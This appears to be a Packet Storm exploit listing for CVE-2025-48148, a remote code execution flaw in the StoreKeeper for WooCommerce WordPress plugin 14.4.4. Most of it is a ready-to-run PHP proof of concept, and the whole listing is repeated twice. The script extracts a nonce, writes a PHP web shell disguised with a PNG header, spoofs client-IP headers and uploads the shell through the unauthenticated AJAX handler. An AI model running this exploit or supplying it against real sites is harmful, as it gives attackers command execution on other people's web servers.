10
/ 10
CRITICAL
CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:C/C:H/I:H/A:H
Description
A critical security vulnerability exists in the StoreKeeper for WooCommerce WordPress plugin that allows unauthenticated attackers to upload arbitrary files, including PHP web shells, leading to complete system compromise. Version 14.4.4 is affected...
Basic Information
ID
PACKETSTORM:215101
Published
Feb 6, 2026 at 00:00
Affected Product
Affected Versions
=============================================================================================================================================
| # Title : WordPress StoreKeeper for WooCommerce 14.4.4 Remote Code Execution via File Upload |
| # Author : indoushka |
| # Tested on : windows 11 Fr(Pro) / browser : Mozilla firefox 145.0.1 (64 bits) |
| # Vendor : https://wordpress.org/plugins/storekeeper-for-woocommerce/ |
=============================================================================================================================================
POC :
[+] References : https://packetstorm.news/files/id/210872/ & CVE-2025-48148
[+] Summary : A critical security vulnerability exists in the StoreKeeper for WooCommerce WordPress plugin that allows unauthenticated attackers to upload arbitrary files, including PHP web shells, leading to complete system compromise.
[+] Risk Assessment :
- **Attack Vector**: Network-based, no authentication required
- **Attack Complexity**: Low
- **Privileges Required**: None
- **User Interaction**: None
The vulnerability stems from improper nonce validation and missing authorization checks in the `upload_product_image` AJAX handler.
[+] Usage:
Usage: php poc.php -u <url> [--debug]
Example: php poc.php -u http://site.com/ [--debug]
[+] POC :
<?php
class NxploitedShellUploader {
private $logger;
private $timeout = 10;
public function __construct($debug = false) {
$this->setupLogger($debug);
}
private function setupLogger($debug) {
$this->logger = function($message, $level = 'INFO') {
$timestamp = date('Y-m-d H:i:s');
echo "[$timestamp] [$level] $message\n";
};
}
private function log($message, $level = 'INFO') {
call_user_func($this->logger, $message, $level);
}
public function getNonce($site_url) {
$headers = [
"User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64)",
"Accept: */*",
"Connection: close",
"Referer: " . $site_url,
"X-Forwarded-For: 127.0.0.1",
"X-Originating-IP: 127.0.0.1",
"X-Remote-IP: 127.0.0.1",
"X-Remote-Addr: 127.0.0.1"
];
$this->log("Requesting site for nonce extraction...");
$ch = curl_init();
curl_setopt_array($ch, [
CURLOPT_URL => $site_url,
CURLOPT_HTTPHEADER => $headers,
CURLOPT_TIMEOUT => $this->timeout,
CURLOPT_FOLLOWLOCATION => true,
CURLOPT_SSL_VERIFYPEER => false,
CURLOPT_SSL_VERIFYHOST => false,
CURLOPT_RETURNTRANSFER => true
]);
$response = curl_exec($ch);
$error = curl_error($ch);
curl_close($ch);
if ($error) {
$this->log("Error fetching URL: $error", 'ERROR');
exit(1);
}
if (preg_match('/"nonce":"([a-f0-9]+)"/', $response, $matches)) {
$nonce_val = $matches[1];
$this->log("Nonce extracted: $nonce_val");
return $nonce_val;
}
$this->log("Nonce not found!", 'ERROR');
exit(1);
}
public function writeShell($filename = "indoushka.php") {
$shell_content = "\x89\x50\x4E\x47\x0D\x0A\x1A\x0A<?php system(\$_GET['cmd']); ?>";
if (file_put_contents($filename, $shell_content) !== false) {
$this->log("Shell file created: $filename");
return true;
} else {
$this->log("Failed to create shell file: $filename", 'ERROR');
return false;
}
}
public function uploadShell($site_url, $nonce, $shell_path) {
$base = rtrim(explode('/wp-admin/', $site_url)[0], '/');
$ajax_url = $base . "/wp-admin/admin-ajax.php";
$this->log("Uploading shell to $ajax_url ...");
if (!file_exists($shell_path)) {
$this->log("Shell file not found: $shell_path", 'ERROR');
exit(1);
}
$post_data = [
'action' => 'upload_product_image',
'nonce' => $nonce,
'file' => new CURLFile($shell_path, 'image/png', 'indoushka.php')
];
$headers = [
"User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:99.0) Gecko/20100101 Firefox/99.0",
"Referer: " . $site_url,
"X-Requested-With: XMLHttpRequest",
"Accept: */*",
"Connection: close",
"X-Forwarded-For: 127.0.0.1",
"X-Originating-IP: 127.0.0.1",
"X-Remote-IP: 127.0.0.1",
"X-Remote-Addr: 127.0.0.1",
"Pragma: no-cache",
"Cache-Control: no-cache"
];
$ch = curl_init();
curl_setopt_array($ch, [
CURLOPT_URL => $ajax_url,
CURLOPT_POST => true,
CURLOPT_POSTFIELDS => $post_data,
CURLOPT_HTTPHEADER => $headers,
CURLOPT_TIMEOUT => 15,
CURLOPT_FOLLOWLOCATION => true,
CURLOPT_SSL_VERIFYPEER => false,
CURLOPT_SSL_VERIFYHOST => false,
CURLOPT_RETURNTRANSFER => true
]);
$response = curl_exec($ch);
$error = curl_error($ch);
curl_close($ch);
if ($error) {
$this->log("Upload failed: $error", 'ERROR');
exit(1);
}
$this->log("Upload response:");
echo $response . "\n";
return $response;
}
public function execute($url, $debug = false) {
if ($debug) {
$this->log("Debug logging enabled", 'DEBUG');
}
try {
$nonce = $this->getNonce($url);
$this->writeShell("indoushka.php");
$this->uploadShell($url, $nonce, "indoushka.php");
$this->log("Operation completed.");
} catch (Exception $e) {
$this->log("Operation failed: " . $e->getMessage(), 'ERROR');
exit(1);
}
}
}
if (php_sapi_name() === 'cli') {
$options = getopt("u:", ["url:", "debug"]);
$url = $options['u'] ?? $options['url'] ?? null;
$debug = isset($options['debug']);
if (!$url) {
echo "Usage: php exploit.php -u <url> [--debug]\n";
echo "Example: php exploit.php -u http://site.com/ [--debug]\n";
exit(1);
}
$uploader = new NxploitedShellUploader($debug);
$uploader->execute($url, $debug);
} else {
echo "This script is intended for command line use only.\n";
}
if (function_exists('curl_version')) {
}
?>
Greetings to :=====================================================================================
jericho * Larry W. Cashdollar * LiquidWorm * Hussin-X * D4NB4R * Malvuln (John Page aka hyp3rlinx)|
===================================================================================================
| # Title : WordPress StoreKeeper for WooCommerce 14.4.4 Remote Code Execution via File Upload |
| # Author : indoushka |
| # Tested on : windows 11 Fr(Pro) / browser : Mozilla firefox 145.0.1 (64 bits) |
| # Vendor : https://wordpress.org/plugins/storekeeper-for-woocommerce/ |
=============================================================================================================================================
POC :
[+] References : https://packetstorm.news/files/id/210872/ & CVE-2025-48148
[+] Summary : A critical security vulnerability exists in the StoreKeeper for WooCommerce WordPress plugin that allows unauthenticated attackers to upload arbitrary files, including PHP web shells, leading to complete system compromise.
[+] Risk Assessment :
- **Attack Vector**: Network-based, no authentication required
- **Attack Complexity**: Low
- **Privileges Required**: None
- **User Interaction**: None
The vulnerability stems from improper nonce validation and missing authorization checks in the `upload_product_image` AJAX handler.
[+] Usage:
Usage: php poc.php -u <url> [--debug]
Example: php poc.php -u http://site.com/ [--debug]
[+] POC :
<?php
class NxploitedShellUploader {
private $logger;
private $timeout = 10;
public function __construct($debug = false) {
$this->setupLogger($debug);
}
private function setupLogger($debug) {
$this->logger = function($message, $level = 'INFO') {
$timestamp = date('Y-m-d H:i:s');
echo "[$timestamp] [$level] $message\n";
};
}
private function log($message, $level = 'INFO') {
call_user_func($this->logger, $message, $level);
}
public function getNonce($site_url) {
$headers = [
"User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64)",
"Accept: */*",
"Connection: close",
"Referer: " . $site_url,
"X-Forwarded-For: 127.0.0.1",
"X-Originating-IP: 127.0.0.1",
"X-Remote-IP: 127.0.0.1",
"X-Remote-Addr: 127.0.0.1"
];
$this->log("Requesting site for nonce extraction...");
$ch = curl_init();
curl_setopt_array($ch, [
CURLOPT_URL => $site_url,
CURLOPT_HTTPHEADER => $headers,
CURLOPT_TIMEOUT => $this->timeout,
CURLOPT_FOLLOWLOCATION => true,
CURLOPT_SSL_VERIFYPEER => false,
CURLOPT_SSL_VERIFYHOST => false,
CURLOPT_RETURNTRANSFER => true
]);
$response = curl_exec($ch);
$error = curl_error($ch);
curl_close($ch);
if ($error) {
$this->log("Error fetching URL: $error", 'ERROR');
exit(1);
}
if (preg_match('/"nonce":"([a-f0-9]+)"/', $response, $matches)) {
$nonce_val = $matches[1];
$this->log("Nonce extracted: $nonce_val");
return $nonce_val;
}
$this->log("Nonce not found!", 'ERROR');
exit(1);
}
public function writeShell($filename = "indoushka.php") {
$shell_content = "\x89\x50\x4E\x47\x0D\x0A\x1A\x0A<?php system(\$_GET['cmd']); ?>";
if (file_put_contents($filename, $shell_content) !== false) {
$this->log("Shell file created: $filename");
return true;
} else {
$this->log("Failed to create shell file: $filename", 'ERROR');
return false;
}
}
public function uploadShell($site_url, $nonce, $shell_path) {
$base = rtrim(explode('/wp-admin/', $site_url)[0], '/');
$ajax_url = $base . "/wp-admin/admin-ajax.php";
$this->log("Uploading shell to $ajax_url ...");
if (!file_exists($shell_path)) {
$this->log("Shell file not found: $shell_path", 'ERROR');
exit(1);
}
$post_data = [
'action' => 'upload_product_image',
'nonce' => $nonce,
'file' => new CURLFile($shell_path, 'image/png', 'indoushka.php')
];
$headers = [
"User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:99.0) Gecko/20100101 Firefox/99.0",
"Referer: " . $site_url,
"X-Requested-With: XMLHttpRequest",
"Accept: */*",
"Connection: close",
"X-Forwarded-For: 127.0.0.1",
"X-Originating-IP: 127.0.0.1",
"X-Remote-IP: 127.0.0.1",
"X-Remote-Addr: 127.0.0.1",
"Pragma: no-cache",
"Cache-Control: no-cache"
];
$ch = curl_init();
curl_setopt_array($ch, [
CURLOPT_URL => $ajax_url,
CURLOPT_POST => true,
CURLOPT_POSTFIELDS => $post_data,
CURLOPT_HTTPHEADER => $headers,
CURLOPT_TIMEOUT => 15,
CURLOPT_FOLLOWLOCATION => true,
CURLOPT_SSL_VERIFYPEER => false,
CURLOPT_SSL_VERIFYHOST => false,
CURLOPT_RETURNTRANSFER => true
]);
$response = curl_exec($ch);
$error = curl_error($ch);
curl_close($ch);
if ($error) {
$this->log("Upload failed: $error", 'ERROR');
exit(1);
}
$this->log("Upload response:");
echo $response . "\n";
return $response;
}
public function execute($url, $debug = false) {
if ($debug) {
$this->log("Debug logging enabled", 'DEBUG');
}
try {
$nonce = $this->getNonce($url);
$this->writeShell("indoushka.php");
$this->uploadShell($url, $nonce, "indoushka.php");
$this->log("Operation completed.");
} catch (Exception $e) {
$this->log("Operation failed: " . $e->getMessage(), 'ERROR');
exit(1);
}
}
}
if (php_sapi_name() === 'cli') {
$options = getopt("u:", ["url:", "debug"]);
$url = $options['u'] ?? $options['url'] ?? null;
$debug = isset($options['debug']);
if (!$url) {
echo "Usage: php exploit.php -u <url> [--debug]\n";
echo "Example: php exploit.php -u http://site.com/ [--debug]\n";
exit(1);
}
$uploader = new NxploitedShellUploader($debug);
$uploader->execute($url, $debug);
} else {
echo "This script is intended for command line use only.\n";
}
if (function_exists('curl_version')) {
}
?>
Greetings to :=====================================================================================
jericho * Larry W. Cashdollar * LiquidWorm * Hussin-X * D4NB4R * Malvuln (John Page aka hyp3rlinx)|
===================================================================================================